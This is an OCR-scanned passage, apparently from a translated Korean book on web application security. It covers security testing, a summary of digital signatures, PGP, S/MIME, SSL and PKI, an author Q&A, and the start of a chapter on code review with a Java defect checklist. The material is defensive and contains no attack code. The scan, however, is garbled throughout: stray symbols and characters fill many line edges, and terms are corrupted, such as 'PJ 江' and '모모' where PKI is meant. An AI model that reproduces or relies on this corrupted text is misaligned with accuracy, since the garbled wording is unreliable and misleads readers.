주지 않을수도 있다. 증명서와 같은 보안방법들은 사용자의 이름과 통과암호를 인위적으 
로 입력해 넣는 조작이 없기때문에 응용프로그람의 속도를 더 빠르게 해줄수 있다. 실례 
로 Amazon , com 에서는 사용자가 처음으로 등록된 다음에는 그에 대 한 정보가 보관되 여 
증명서가 발행되게 된다. 다음번에 그 싸이트를 방문할 때는 이전에 허락된 정보에 의하 
여 정확히 식별되고 권한을 엄게 된다. 이때는 다만 자기의 암호만 입력시켜 넣으면 된 
다. 만일 그 사용자가 여 러 콤퓨터에서 가입한다면 Web 봉사기는 사용자의 신분과 수자 
서명이 같은가를 보고 그 콤퓨터에 또 다른 의뢰기증명서를 발행한다. 사용자가 안전하 
게 구입 ( purchases ) 할수 있는가 정 확한 주소에 전달될수 있는가는 물론 사용자의 개 별 
적우신권모두가 기억된다. 

기능성의 검사는 응용프로그람작성 에서 가장 중요시되는 부분이기때문에 역시 무시 
할수 없는것이다. Web 응용프로그람은 보안실행후에 목적하는 작업을 계속하여야 한다. 
일부 보안기구들은 코드를 불량한 응용프로그람이나 기능으로 볼수 있기때문에 실행되여 
야 할 코드를 실행할수 없게 한다. 선택한 보안기구에 대한 지지자와 반대자들은 응용프 
로그람의 기능을 두고 론쟁할것이다. 이 코드가 필수적인 경우 요구하는 기능을 달성해 
야 하며 코드를 변화시킬 공간이 없다면 응용프로그람의 기능을 약화시키지 않으면서 보 
호를 제 일 잘하는 보안방법을 확립해 야 한다. 
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실례로 이 절의 초기에 언급되였던 자기의 응용프로그람에 보안을 제공하기 위하여 
증명서 나 cookie 를 사용하려 고 한 단체 에 대 하여 보자. 처 음으로 서명한 사용자의 
_cookie 가 남아 있어 첫 사용자에 대한 정보가 그후에 서명한 매 사용자들에게서 참조된 
@다면 어떤 현상이 일어 나겠는가? 매 사용자는 첫 사용자에 대한 등록자리를 되살릴것 이 
#며 혹은 사용자가 입력시 킨 가입정보가 가입시 에 창조되는 정보와 같지 않기때문에 싸이 
_트에 대한 호출이 거부된다. 그러므로 기능이 수행될수 없게 된다. 

S 최 마지막으로 검사해야 할것은 보안기구가 얼마나 실제로 잘 실행하는가를 알아 보는 

ᄑ것이다. 작성한 보안이 권한이 없는 의뢰기는 가입할수 없게 한다는것과 많은 시간이나 
■주ᄂ，품을 들이수 없는 해커들이 최소한 대단히 많은 품을 들여야 한다는것을 확인해 볼 필요 
r ’’가 있다. Web 응용프로그람에 대한 보안을 뚫거나 Web 기반구조 보안에 침입하려는 시 
도는 해커가 체계를 파괴하거나 응용프로그람에 위험을 주려는 방법과 갈은 방법으로 진 
ᅩ戶행된다. 보안시험은 선택된 보안기구가 실제해커의 공격을 막아 내는가 막아 내지 못하 
는가를 확정할수 있게 실전으로 진행되여야 한다. 보안이 가치가 콜수록 응용프로그람이 
f 나 Web 기반구조전체에 대 한 공격을 감시할수 있다. 할수 있는한 자기의 현재의 보안준 
& 위를 롱가하는 공격들을 방어할수 있는 준비를 하여야 하며 공격들에 대하여 주의하여야 


한다. 보안은 계속 진행하여야 한다. 



결 론 


응용프로그람에 보안을 구축하여 할 리유는 세가지 이다. 우선 수준이 있는 해커들은 
_임의의 응용프로그람이 창조한 언어에 정통한 다음에는 그의 약점을 찾아 낼수 있다. 이 
_러한 류형에 대한 가장 대표적인 실례는 Melissa 비루스이다. 둘째로 응용프로그람보안 
은 누구든지 당신의 모든 정보를 호출할수 없게 하여 야 하기때 문에 자기의 단체내 에서 
우선시 되여야 한다. 이 장에서 론의된것처럼 사용자의 권한과 특권에 기초하여 선택된 
서몇명만 호출할수 있는 정보에 대한 실례는 개인의 파일을 들수 있다. 셋째로 Web 나 개 
별망우에 있는 응용프로그람들을 보안하기 위한 통일적인 방법인 인증, 권한，비거부원 
. >리들을 알아야 할 필요가 있다. 

현재 단체내 에서 리용되는 보안의 형 태는 여 러 가지 이며 업무에 따라 리 용되는 보안 
방법도 여러가지이다. 수자서명과 PGP 는 전자우편통보문을 보안하기 위하여 리용된다. 
_수자서 명 은 흔히 수자증명서내 에 포함되며 암호화하는가 안하는가에 따라 문서들에 리 용 
、끈；自될수 있다. 수자서명의 실제가치는 질문없이 문서의 작성자를 식별하는것 이다. PGP 는 
=전자우편보안을 위 해 개 인이 나 단체 에 리용되는 규격 이 다. PGP 의 가장 큰 우점 은 전자 
'주우편통보문을 암호화, 복호화할수 있으며 접촉 ( attachment ) 에 동일한 수법을 리용한다 
’는것이다. PGP 의 그외의 우점은 미국내에서 리용되는 보안과 동등한 준위로 세계의 그 
' 1어 디 에서 나 리용할수 있다는것 이 다. 이 것은 전자우편보안에서 찾아 보기 어 려 운 특징 이 
_다. 물론 SSL 이 없이는 Wed 응용프로그람보안에 대해 론의할수 없을수 있다. SSL 은 체 
#계 대 체계 인증과 자료암호화에 리용된다. SSL 은 TCP/IP 우에 있는 응용층과 망층사이 
g 에서 작업한다. 이 러한 수법 으로 SSL 을 실현하면 자료가 암호화된 접속상에서 보안되여 
_전송되게 할수 있다. SSL 은 또한 SSL 가능한 의뢰기들이 보안암호화된 접촉이 확립된후 
ᄅ호상 자기들끼 리 인증할수 있게 한다. 응용프로그람들에 리용되는 여 러 형 태의 보안에 




대 하여 마지 막으로 취 급할것 은 PKI 체 계 에서 를퓨터 의 식 별자의 수자적 표현인 증명서 이ᄂ 그 
다. 증명서들은 봉사기들과 사람들, 회사들과 다른 실체들이 자기들을 전자적으로 식별 
할수 있게 한다. 


PKI 는 많은 web 실체들이 공공매체상에서 개 인적 인 정보들을 보안하여 교환하게 하 
는 수단이다. PKI 는 공개열쇠와 비공개열쇠들을 리용한다. 비공개열쇠는 체계에서 개인_ 

이 보관하고 공개열쇠 는 보안통신에 가입한 다른 체 계 들에 배 포한다. PKI 에 기 초한 보 >4 , 

안은 그것을 리용하는 임의의 응용프로그람들에 대하여 완전한 인증，권한부여，비거부胃 
봉사들을 충분히 할수 있다. 모모가 보안을 잘하는 한가지 리유는 PKI 가 원래부터 인터 
네트에서 리 용할수 있도록 설계 되였기때문이다. 또한 동시에 한개이 상의 응용프로그람들 , 

을 보안할수 있기때문이다. 

모자는 아주 큰 보안문제를 해결하였기때문에 다른 보안방법들의 응용프로그람들에 g 
서 쓸수 있는 도구는 물론 PKI 를 실현한 응용프로그람들의 개발을 도울수 있도록 하는胃 
도구들을 쉽게 알수 있게 하였다. 이러한 도구들의 시장중의 하나가 Phaosgg 
Technologies 이 다. 자기 단체 에 어떤 보안방법 들을 러 용하려 고 하는가를 결심 한 다음/ V 
에 완전한 제품실현에 앞서 이러한 계획들을 철저히 검사해 볼 필요가 있다. 제품환경에‘ : 

서의 검사는 자기 응용프로그람기반을 황폐화할수 있다. 검사과정을 시작하기에 앞서 속^!^ 
으로 생각하고 있어야 할 세가지 목표가 있다. 실현이 요구되는 결과들을 주는가를 확정 
하는것, 실현한 다음에 당신의 기반이 안전하게 잘 실행되는가를 확인하는것, 적당한 취 ' 

소 ( book - out ) 전략을 정의하는것 이 다. 마음속으로 이 러한 목표들을 생각하면 좋을것 이^^ 

다. 또한 성능이나 기능, 보안에 대해 검사하여 확인할 필요도 있다. 



요 약 


今， 


1. 보안가능한 응용프로그람리용의 우점 

후 V ' 

- 솜씨 있는 해커들은 임의의 응용프로그람이 창조한 언어에 정통한 다음에는 그의 pi 
약점을 찾아 낼수 있다. 

- 단체내의 그 누구나 다 모든 정보를 호출할수 있게 하는것이 아니다. 

- 인증, 권한부여，비 거부방법 들은 Web 상에서와 개 별망에나 응용프로그람들을 보' ，4 ' 
안하기 위한 통합적 인 부분이 다. 

2. 응용프로그람에 서 리용되 는 보안류형 


- 수자서명은 코드를 작성한 응용프로그람작성자의 신분을 만든다. 수자서명은 대체^^ 
로 수자증명서안에 포함된다. 이 것 들은 그것들이 암호화되 든 안되 든 문서 들에 서 고， 
리용될수 있다. 
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- PGP 는 전자우편이 암호화와 복호화뿐아니라 송신자의 신분을 증명하기 위한 수 
자서명의 전송과 전자우편과 접촉하는 자료파일들을 암호화 혹은 복호화하는데 리 
용할수 있다. PGP 가 공개열쇠암호화를 쓰는 새로운 방법은 단순한 수신자의 공 
개열쇠 대 신 통보문의 내 용을 암호화하기 위 한 더 빠르고 더 짧은 암호화알고리 듬 
을 리용한다는것 이 다. PGP 는 뒤 문이 없 다. 

- S/MIME 규격은 PKCS -7 을 리용하여 통보문을 어 떻게 암호화하고 수자서 명 을 어 
떻게 포함하는가를 규정한다. S/MIME 는 주로 전자우편통보문을 간단히 서명하는 
데 리용되여 전자우편접수프로그람과 실제접수자가 통보문의 선두에 있는 전자우 
편이름이 송신자에 의해 전송된것이 옳은가를 확인하게 한다. 통보문이 어떤 방법 
으로 변경되 였다면 S/MIME 가 통보문에 서명한 수자서명 이 변하기때문에 접수자 
에 의하여 증명될수 없다. 

- TCP/IP 상에서 실행 하는 SSL 은 콤퓨터들이 암호화된 접속상에서 규약을 창조하고 
자료전송을 안전하게 할수 있게 한다. SSL 가능한 의뢰기들과 봉사기들은 봉사접 
속이 확립된 다음에는 호상 인증하고 그들사이에 전송되는 모든 자료들을 암호화, 
복호화할수 있으며 불법적으로 조작된 자료들을 검출해 낼수 있다. 

3. PJ 江의 기초복습 

- PKI 는 두 체 계 들사이 에 자료를 보안전송할수 있도록 하기 위하여 공개열쇠암호화 
를 리 용한다. 여 기서는 보안통신에 관계하려는 다른 체 계들에 공개열쇠 를 배 포하 
고 한 체계만 비공개열쇠를 비밀로 가지고 있도록 한다. 

- 암호열 쇠틀은 CA 봉사기 에 의해 발행，발생，관리 되 는 증명 서 들에 의하여 배 
포된 다. 

- CA 는 증명서들을 발행，재생 , 취소할수 있는 봉사단체 이 다. 증명서봉사에 가장 
대중적으로 리 용되는것은 Internet 응용 프로 그람 판매 자들인 Microsoft 와 
Netscape/iPlanet 의 제품들이다. 

4. 안전한 Web 응용프로그람에로의 PKI 의 리용 

-Web 싸이트와 응용프로그람들의 공격에 대응하여 체계나 응용프로그람들의 보안 
을 강화하여야 한다. 공개열쇠기반과 공개열쇠암호화는 체계호출의 인증과 체계들 
사이 자료를 암호화하기 위한 Web 용으로 설계된것이다. 

- PKI 암호화알고리 듬과 인증，하쉬알고리 듬들은 둘 다 사용자이 름과 암호에 의한 
보안보다 더 빠르고 보안이 더 강하다. 

- PKI 는 동시 에 한개 이상의 Web 응용프로그람에 대 한 보안을 제공하는데 리용될수 
있다. 공개열쇠를 가진 한개 증명서는 전자우편, 전자상업 Web 싸이트의 페지들을 
보안하여 호출할수 있게 하며 가상개발망을 통해 인터네트에로 암호화된 자료를 
전송할수 있는 사용자권한을 줄수 있다. 
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5. Web 하부구조에서 PKI 의 실현 


- Windows 2000 Server 와 Advanced Server 에 는 Microsoft 의 증 명 서 봉 사 
(Microsoft Certificate Services ) 들이 추가할수 있는 부분품들이 포함되 여 있 다. 
Microsoft 증명서봉사는 의뢰기들이 증명서봉사기에 요청을 하고 요청이 검사되 
고 증명서가 발행되던가 무시되던가 하게 한다. 

- Netscape Certificate Management ( Netscape 증명 서 관리 ) 봉^■기 는 Netscape 봉 
기제 품 (Netscape ServerProduc 1; ions ) 들의 일부분이며 Netscape Servers 을 그 
룹으로 설치해야 한다. 

- Appache Web 봉사기에 PKI 를 잘 배치하면 그 어떤 해커공격에 대해서도 봉사기 
가 든든하게 할수 있다. 


■ 



6. 보안실현의 시험 


- 보안실현검사는 가능한껏 자기 제품환경과 동일한 검사환경 에서 수행되 여 야 한다.! 

- 보안실현검사의 세가지 기본목적은 실행이 요구하는 결과를 주는가를 검사하는것，胃 
검사할 때 자기의 기반이 안전하게 실행된 다음에도 계속 동작하는가를 검사하는'"*0夕’ 
것, 적당한 취소전략을 정하는것이다. 

- 시험방법에는 성능시험, 기능시험，보안시험들이 있다. 


물음과 대답 



이 장의 물음에 대한 대 답은 저자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리 해 하고 실생활을 통하여 체 험 하도록 하는데 
도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 WWW. Syngress . 
com / solutions 의 《Ask the Anthor ) (저자에게 문의)을 찰칵하시오. 




물음: 보안가능한 응용프로그람을 쓰면 무엇 이 좋은가? 

대 답: 보안응용프로그람들이나 보안이 구축된 응용프로그람들은 응용프로그람봉사제 ！^ 

공자 ( ASP:application service provider ) 가 응용프로그람을 파괴 하려 는 해 : * 

커 들로부터 자기 제 품에 대 한 투자 ( investment ) 를 보호하게 한다. 권한이 있ᅮ주1少’ 
는 사용자만이 응용프로그람을 호출하고 체계를 호출하게 한다면 수명 ( span ) 胃 
이 길어 지 고 가치 가 훨씬 더 커 질것 이다. WorldWideWeb 와 같은 공공매 체 ᄂ 
상에서 보안은 판매자들에게 필수적이다. 왜냐하면 그것 이 주문자들을 마음@ 

상 안전하게 하고 판매 자들이 싸이 트들과 관련 한 업 무를 마음 놓고 할수 있胃 
게 하기때문이다. 




물음: 내가 근지의 기초를 리해할수 있는 시간을 낸다는것은 좀 힘들다. 내가 전자 
상업 회 사용응용프로그람개 발자라고 생 각할 때 PKI 가 얼마나 중요한것 인가를 
설명해주겠는가? 

대답: PKI 의 설계는 인터네트상의 Web 응용프로그람들과 체계들에 대한 완전한 보 
안기반으로 되도록 작성되 였다. 리 용된 암호화열쇠 들은 비대 칭 이기때 문에 보 
안은 의뢰기와 봉사기가 이 세상의 그 어디에 있든 그들사이에서 확장될수 
있다. 응용프로그람내에 PKI 를 결합할수 있는 능력은 그것 이 Web 상에서 리 
용되든 되지 않든 응용프로그람의 완전성 ( integrity ) 과 견고성 ( robustness ) 
을 안받침 해 준다. 어떤 업 무령역 들，대 표적 으로 전자상업 은 보안이 사용자 
이 틈과 암호를 리 용한 전통적인 방식 에 서 여 러 번 개 선되 였 기 때 문에 PKI 에 기 
초한 보안해결의 우점을 받아 들인것이다. 


물음: 응용프로그람환경에서 SSL 과 PGP 를 다 리용할 필요가 있는가? 

대답: SSL 과 PGP 는 함께 작업할수 있지만 같은 환경에서 반드시 둘 다 리용할 필 
요는 없다. PGP 는 전자우편응용프로그람에 가장 적합한 반면에 SSL 은 Web 
의 뢰기-봉사기 인증과 자료암호화에 가장 적 합하다. 그렇 다고 하여 PGP 가 
Web 열 람기 와 봉사기 사이에 전송되 는 자료의 암호화에 리 용될 수 없 다는것 을 
말하는것 이 아니 다. 그러 나 SSL 이 더 쉽 게 그것 을 수행할수 있 다는것 이 다. 
또한 SSL 은 전자우편교환의 보안에 러용할수 있도록 정의된것이 아니다. 

물음: 나와 책 임자는 우리의 보안실현검사로 하여 의견상의가 있다. 그는 우리가 하 
고 있는것에 대해 우리가 안다면 취소 ( back - out ) 계획이 필요 없으며 모든 
검사는 실제로 제품환경에서 진행될수 있다고 말한다. 나는 그에 대해 완전 
히 동의할수 없다. 우리 가 보안시 험 에 리 용해 야 할 적 합한 방법 이 무엇 인가 
를 알려 주겠는가? 

대답: 임의의 실현가능성이 있는 실행처리는 취소 ( back - out ) 계획을 가지고 있어야 
한다. 보안시험은 기능시험과 성능시험을 같이 하여야 하는데 이렇게 하여야 
보안방법이 Web 응용프로그람에 나쁜 영향을 주지 않는다는것을 확인할수 
있 다. 

물음: S/MIME 는 어떻게 전자우편을 보안하는가? 

대답: S/MIME 는 통보문의 내용을 암호화하거나 통보문에 수자서명을 첨부 혹은 그 
것들을 다 하는것으로 전자우편을 보안한다. 암호화는 자료를 후에 특정의 
사람만 리해할수 있 도록 란잡하게 만들어 놓는다. 수자서 명 은 전 자우편 에 손 
을 댄 흔적이 있으면 송신자나 수신자 혹은 그들모두에게 경보문을 낸다. 

물음: 내가 보안하려는 매 봉사기 에 대 해 한개 증명서만을 요구해 야 하는가? 

대답: 아니다. 당신은 증명서발급기관(◦시로부터 여러가지 목적의 증명서를 요청할수 있다. 
Microsoft Certificate Services (Microsoft 증 명 서 봉 사 ) 나 Netscape 
Certificate Server (Netscape 증명서봉사기)는 전자우편 Web 열람기대화조종， 
자료암호화의 리 용을 위 해 다목적 증명 서 를 작성 하고 발행할수 있 다. 
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제 12 장. 보안계획화사업 

이 장의 기본체계 

必 코드검토 

판 코드의 취약성에 대한 인식 

관 코드작성의 계획화에서 상식의 
적 용 

卷 보안계획의 작성 

o 결론 

요약 


染 물음과 대 답 



소 개 


이제부터 는 《비 법적 인 해커 들로부터 Web 응용프로그람들을 보안하기 위한것외 에 
또 무엇을 하여 야 하는가.》하고 자체 로 질문해 보아야 한다. 우리는 개 발자의 립 장이 
아니 라 해커 가 web 응용프로그람을 볼수 있다는 관점 에서 개 발을 하여 야 한다.앞에서는 
CGI Bin Scripts 와 그의 파피위험성에 대하여 보았다. 또한 Java , Java Applets , 
XML , ActiveX , ColdFusion 과 이동코드에 대하여 조사하였다. 지금까지 Web 응용프로 
그람의 해커방지와 관련한 거의 모든 문제들을 다 취급하였다. 이 마지막장은 이미 앞에 
서 론의 된 방법 들을 모두 종합하여 취 급하는것 과 함께 보안계 획 에 대 하여 소개한다. 

Web 싸이트가 보안하기 힘들수록，비 법 해커들에 의한 모든 공격들로부터 자기 단체 
를 충분히 보호할수 있다는것을 담보하지 못할수록 이 장을 보는것이 좋을것이다. 최소 
한으로 완전히 균형이 잡힌 보안이 필요하나 지금까지 학습을 통하여 보안은 응용프로그 
람준위 에서나 망준위 에서만 존재하는것 이 아니 라는것 을 알게 되 였 다. 보안은 어데서나 
존재한다. 보안이 더 잘될수록 검질긴 공격들을 더 잘 막을수 있다. 

개 발자라면 자기 가 하고 있는 작업 에 대 해 깊 이 알아야 한다. 물론 함께 작업하는 
사람들의 작업에 대해서도 잘 알아야 한다. 그래야 자기 코드에서 보안구멍들을 잘 찾아 
낼수 있다. 자기의 조작에 대 하여 검사하고 코드에 대 해 작업을 시 작한 처음부터 마지막 
까지 취약성이 없는가를 전반적으로 심사하여 보아야 한다. 

자기의 코드가 어떻게 채용될수 있는가? 이러한 질문에 항상 대답할수 있어야 한다. 
자기 에 게 해 당한것 은 단체 안에 서 고도기 술 ( high - tech ) 에 의 하여 정 보보안을 개 조하는것 
이다. 그것은 옳바른 방향에서 진행한다면 일정한 기간에 끝나는 사업이다. Web 응용프 
로그람을 잘 보안하기 위해서는 또한 Web 싸이트에 대해 보안을 검사할 필요가 있다는 
의식이 더 발전하는것인데 이것은 다른 단체로부터 보안취약성을 결정하고 보안위반을 
분석하도록 하는데 자금을 투자하는 회사들의 수가 얼마나 많은가에서 표현된다. 

보안은 그 즉시에 나타나지 않는다. 개발자라면 자기의 Web 응용프로그람들을 해커 
들로부터 방지할수 있 어 야 한다. 자기 의 코드심 사를 계 획 하고 제 품준위 와 함께 개 발자준 
위에서 자기 코드를 검사하여야 한다. 코드를 심도 있게 고찰하면 된다. 작업협조자가 
당신의 코드를《공격》하게 하여 보도록 하면 된다. 외부와 내부로부터의 모든 공격에 
대하여 자기 단체를 보호할수 있게 작업하면 된다. 자기 코드를 조사하고 검사하며 협동 
자들이 당신의 코드를 공격하도록 하여 Web 응용프로그람개발부분들을 보호하는 중요한 
단계들을 거치시오. 코드의 보안은 한사람만 책임질 일이 아니다. 그것은《집단》의 노 
력으로 이루어 진다. 한사람이 다른사람의 코드를 검사하여 구멍을 찾아 내고 구멍 이 있 
다는것을 알수 있게 한 다음 구멍을 대책하여 야 한다. 이 방법은 내부로부터 공격을 받 
는 경우에는 필요 없다. 또한 Web 싸이트상의 코드에 있는 로출된 구멍들을 없애기때문 
에 외부로부터의 공격을 성과적으로 막아 낼수 있게 한다. 

이 마지막장에서는 비공식적인 코드심사와 함께 구조화의 관점에서 코드의 심사과정 
을 취급한다. 또한 보안과정에 검사가 노는 역할에 대해서도 본다. 우리는 개발자들이 
진행 하는 검사와 심사가 마지막에 진행하는 사용자의 질담보와 어떻게 다른가를 론의 한 
다. 또한 이 장에서는 Rule-Based Analyzers 나 판본조종과 원천코드추적과 같은 코드 
의 리용에서 있을수 있는 여 러 가지 도구들과 코드규칙들을 취급한다. 마지막에 우리는 
보안계획과 관련한 내용을 론의한다. 코드심사에 대하여 더 자세히 보는것부터 시작하자. 

360 



제 1 절. 코드검토 


자기의 코드나 협 력 자의 코드를 심사하는것은 해커들의 공격 을 성과적 으로 막기 위 
하여 거처야 하는 중요한 단계이다. 작업을 대충하려고 한다면 즉 자기 개발작업에서 적 
당히 코드심사를 하려고 한다면 이 책을 읽은 효과가 없을것이다. 여기서는 CGI 스크립 
트에 대하여서와 어떻게 하면 코드를 파괴시키지 않겠는가에 대하여 배우게 된다. 당신 
은 ColdFusion 에 대하여 알아야 할 필요가 있는 모든것을 알수 있 다. 그러 나 코드심사 
를 하지 않는다면 위험에 처하게 될것이다. 만일 코드심사가 자기의 작업계획에 반영되 
지 않았다면 이제라도 그것들을 포함시킬것을 권고한다. 만일 이 권고를 듣고도《관리 
에서는 코드심사가 필요하지 않다.》고 제 나름대로 생각한다면 이 책을 다시 한번 보시 
오. 당신이 아무리 모험을 한다고 하여도 가장 중요한 실천인 코드검열을 하지 않는다면 
해 커 들로부터 Web 응용프로그람들을 보호할수 없 을것 이 다. 

대상과제관리자들도 또한 코드심사를 진행하지 않은 실례들이 있다. 단체들이 코드 
심사를 하여 혜택을 보는 실례는 헤아릴수 없이 많다. 우선 코드심사란 무엇인가에 대해 
서와 코드심사가 어떻게 Web 응용프로그람의 수명을 연장할수 있게 하는가에 대하여 더 
구체적으로 보자. 

1. a 드심사 

코드심사에는 비공식적인 련습 (informal walkthrough ) 과 구조화된 련습이 있다. 
우리의 체험에 의하면 비공식적인 련습은 흔히 작은 단체들에서와 대상과제의 초기에 혹 
은 그 두가지 모두에서 제기된다. 구조화된 련습은 더 형태적이고 많은 사람들이 포함되 
며 대상과제의 마감단계에 더 큰 단체들에서 제기된다. 경험에 의하면 대상과제가 더 크 
고 대상과제의 성공이 더 중요할수록 구조화된 련습을 하여 야 한다. 비공식적 인 련습은 
보통 설계자와 개발자，관리자나 협조자들에 의해 처리되고 코드를 심사하려는 목적을 
가진 2부류 단체들에 의하여 수행되는 경향이 있다. 

구조화된 련습은 대상과제관리자，개발자，설계자，질의 담보，관리를 비롯한 여러 
대 상과제 요소들을 포함한다. 기 본개 발과정이 후에 는 구조화된 련습이 진행 되 여 야 한다. 

련습은 요구에 배치되는 코드들을 찾아 내는데 리용한다. 요구가 없으면 자기의 코 
드가 무엇을 하려고 하는지 평가하기가 어렵 다. 

구조화된 코드심사를 진행할 때 모든 참가자들은 검사되 고 있는 원천코드는 물론 사 
용자의 요구의 사본을 제출하여 야 한다. 문서들은 항상 매개 참가자들이 짧은 시간에 심 
사할수 있도록 충분히 잘 서술된 설명서로 참가자들에게 제출되여야 한다. 코드심사는 
작성된 코드내에서 오유를 찾아 내려는 목적을 가지기때문에 개발자들은 약간 좀 격해 
질수 있다. Front - end 상의 정보에 대하여 알고 그들이 개인적인 공격들로 될수 없게 
코드심사에 대 해 기본규칙들을 설정 하여 야 한다. 

구조화된 련습이 수행될 때 최소한의 입구조건은 반드시 모둘에 대한 원천코드가 완 
전하고 지배적 이여야 한다는것 이 다. 완전하다는것은 원천코드가 사용자의 요구에 완전히 
기초하고 있다는것 이 다. 지배적 이 라는것은 원천코드가 안전한 상태 에 있다는것 이 다. 

련습의 완료에 관한 랄뢰조건들은 단위검사단계에 대하여 원천코드가 접수되고 준비 
되는것이다. 단위검사란 끝-끝검사로 정의된다. 또한 례외조건들이 코드심사내에 있어야 
한다. 코드심사는 원천코드에서 너무 많은 문제들이 발견되면 중단되거나 정지될수도 있 
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고 혹은 두가지가 다 발생 할수 있다. 당신은 항상 코드안에 《오유가 너무 많다.》는것 
에 대 한 턱값을 항상 미 리 결정하여 심사가 그 이 후의 자료들을 재계획화할수 있게 하여 
야 한다. 이러한 경우가 전혀 발생하지 않는다면 대상과제는 코드개발단계에로 다시 되 
돌아 갈수 있다. 

원천코드가 자세히 설계된 문서들에 의해 수행되여야 하며 검사를 시작하면 코드심 
사에서 여러가지 목적이 달성되여 야 한다. 두번째 목적은 원천코드가 회사(혹은 대상과 
계)코드규칙들에 맞는가를 확인하는것이다. 유니트검사의 시작에 앞서 원천코드에서 그 
어떤 결함이 있는가를 찾아 보아야 한다. 이것은 항상 가능하지 않지만 목적은 최소한 
거기에 두어야 한다. 마지막으로 대상과제상에서 진행되고 있는 작업의 진행과정을 측정 
하기 위해 코드심사과정을 리용하면 된다. 이것은 결함들과 그의 형태，결함이 생긴 원 
인들을 추적하여 결함들이 완전히 수리될수 있도록 전면적으로 추적한다는것이다. 

코드심사로부터 엄게 되는 보충적인 우점은 더 좋은 문서들을 줄수 있게 한다는것이 
다. 코드심사가 개발과정의 한개 과정으로 되고 개발자들이 다른 개별적인 사람들의 코 
드작성결과들을 거처 전진하게 될 때 그들은 자기들의 문서를 더 잘 작성 할수 있다. 코 
드검열이 처리의 표준부분이라면 당신의 단체내에서 제기될수 있는 임의의 문서는 더 쉽 
게 만들수 있다. 엄밀하게 작성된 문서는 코드를 심사할 때 심사를 빨리 할수 있게 할것 
이다. 

2. 동위3드심사 

코드심사를 자기 개발작업을 검사한다는 그러한 정황으로 생각하면 된다. 

자기 의 작업 을 객관적으로 검 사하는것 이 얼마나 힘 든가 하는 개념을 충분히 가져 야 
한다. 우리는 모두 자기의 작업을 완전히 검사할수 있기를 바라지만 실제적으로는 개발 
자가 목적하는 일감의 질적 담보가 더 중요하다. 또한 일부 결함들은 인위적으로든 자동 
적으로든 검사할 때보다 심사할 때 더 쉽게 찾을수 있어 야 한다. 또한 협조자들의 코드 
심사에 대해서도 동일한 론법을 적용할수 있다. 옳바른 처리로 설치과정을 바로하여 작 
업 내용을 배포하기전에 협동자들끼 리 코드심사를 할수 있는것 이 우리의 유리한 점 이 다. 

동위 ( peer - to - peer ) 코드심사의 개념을 소개하기전에는 일부 개발자들이 그것을 반 
대할수 있다고 생각한다. 그러 나 시 간이 갈수록 개 발자들은 심사의 우점 에 대 해 체험하 
고 그것을 리용하게 될것이다. 동위코드심사들은 심사의 결과를 더 잘 조종할수 있는 일 
부 안내서를 리용하여 진행되여야 한다. 참가자들이 코드심사를 하든 하지 않든 코드를 
배포하지 않고 코드를 보는데 시간을 소비하지 않도록 시작기준이 필요하다. 시작기준은 
다음과 같다. 개발자는 실행되고 있는 코드에 오유가 발생하면 완료하지 않고 코드를 훑 
어 (실행)볼수 있어야 한다. 코드가 오유로 하여 완료되면 코드를 심사할 준비가 되지 않 
은것 이 다. 우리는 시 작기준을 설정한후에는 동위심사를 어떻게 진행하고 참가하는가를 
정할수 있 다. 

개 발과정 이 구조화된 배 포자료들을 설정 하는 실 례 에 서 는 코드심 사들이 매 번 배 포하 
기전에 계획화될수 있다. 림환경에서 작업하면 매 개발자들은 다른 개발자들의 코드심사 
에 대하여 책임을 지게 될것이다. 심사의 첫 단계는 시작기준과 만나게 된다는것을 담보 
할수 있도록 코드를 실행하는것이다. 다음으로 개발자는 코드를 한행씩 보면서 심사해야 
한다. 흔히 코드심 사를 진행할 때 취 급되지 못한 결 함들은 그것 이 매 몰된 결 함들이 기때 
문에 검사단계에서 빠지게 되는 약점 이 있다. 이로부터 한행한행씩 시각적 인 심사를 하 
는것이 심사를 쉽게 할수 있는 조건으로 된다. 특별한 기준은 리용하고 있는 프로그람언 
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어 에 기 초하여 개 발되 여 야 한다. 우리 는 Java 환경 에 서 작업 할 때 표준적 인 검 사방법 들 
을 리 용하여 쉽 게 검 출할수 없는 일 반적 인 결 함목록을 설정한다. 


• 문자렬의 부당한 복사 즉 변화시킬수 없는 객체들의 불필요한 복사 

• 귀환객체들의 다중복사 ( clone ) 에서 실패 

• 불필요한 다중복사 

• 수동적인 배럴들의 복사 

• 틀린것의 복사 혹은 부분적으로만 복사하기 

• null 에 대 한 new 의 검 사 

• .equal 대신 ==을 리용하는것 

• 세밀하지 못한 조작들과 세밀한 조작들의 혼란 

• 필요 없는 catchblock 의 추가 

• equal 이나 clone 혹은 hashcode 의 실행에서 실패 

Java 에 서 응용프로그람의 개 발작업 을 진행할 때 동위 심 사에 서 경 계하여 야 할 공통 
적인 오유형태들이 있다. 목적은 개발자들이 검사단계에서 빠뜨릴수 있는 일반적인 오유 
들을 찾는데 리용할수 있는 검사목록을 작성하자는것이다. 작성된 문서는 결함들을 추적 
하여 코드심 사단계 에 서 결 함들을 찾고 수정하는데 리 용할수 있 다. 이 문서 는 개발림 에 
의해 작성되여 매 코드심사에서 리용될수 있다. 

개별적 인 그룹들에서의 구조화된 련습 (structured walk 比 irough ) 에 비하여 협동작 
업 자들과 함께 비 공식 적 인 련습 (informal walkthrough ) 에 의 한 코드심 사를 하는것 이 
우점이 있다. 가장 명백한것은 비공식적인 련습이 훨씬 어렵지 않다는것이다. 여기에서 
는 개별적으로 구조화된 련습들에서만큼 많은 일감을 가지지 않고도 훨씬 완만한 속도로 
다른 개발자들과 작업할수 있다. 다른 개발자들과 함께 코드심사를 할수 있는 우점은 또 
한 보안통들을 막기 위한 암시 ( suggestion ) 가 코드를 강화하는 방법들을 여기저기에 제 
공할수 있 다는것 이 다. 협 조자들간의 코드심 사들은 좋은 학습도구들이 다. 심 사는 개 발자 
들사이의 관계를 조장하는것은 물론 개발숙련을 더 높여 준다. 코드심사는 직업적인 측 
면에서 새로운 개발자들이나 아글타글 노력하는 개발자들을 도와 주며 개발자들에게 새 
토운 언어를 배워 주는 측면에서도 방조를 주는 가장 좋은 방법중의 하나이다. 

작업내에 《숨겨 진》오유들은 코드를 작성하는 개발자들에게 명백치 않을수도 있 
다. 앞으로는 편집기에 필요한 집필자 ( writer ) 에 대하여 생각해야 한다. 집필자는 완료 
후에 (그리고 작업 전 과정을 걸처) 자기 작업을 심사할것 이고 실제로 명백한 착오들을 
